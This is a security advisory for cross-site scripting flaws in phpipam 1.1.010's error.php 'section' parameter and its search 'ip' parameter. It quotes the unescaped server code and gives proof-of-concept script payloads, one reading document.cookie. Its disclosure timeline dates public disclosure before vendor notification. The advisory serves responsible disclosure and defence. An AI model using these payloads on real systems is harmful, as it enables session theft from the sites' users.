[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-PHPIPAM0812.txt
phpipam-1.1.010
Cross Site Scripting - XSS
N/A
There is an XSS entry point in 'error.php' file under site directory,
on line 66 of error.php we find the vulnerable server code.
<?php print _('Provided http error code is'); ?>: <strong><?php print_r($_REQUEST['section']); ?>: <?php print $http_codes[$_REQUEST['section']]; ?></strong>
PHP print function is called on $_REQUEST['section'] variable without checking or escaping the response output to victims web browser.
http://localhost/phpipam/site/error.php?section=<script>alert(document.cookie)</script>
vulnerable parameter "section"
http://localhost/phpipam/site/tools/searchResults.php
vulnerable parameter "ip"
Inject payload into search field.
"<script>alert(666)</script>
Vendor Notification: August 10, 2015
July 12, 2015 : Public Disclosure
Remote & Local
No
Medium
Request Method(s): [+] GET / POST
Vulnerable Product: [+] phpipam-1.1.010
Vulnerable Parameter(s): [+] section
Affected Area(s): [+] site, ip
===========================================================
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.
by hyp3rlinx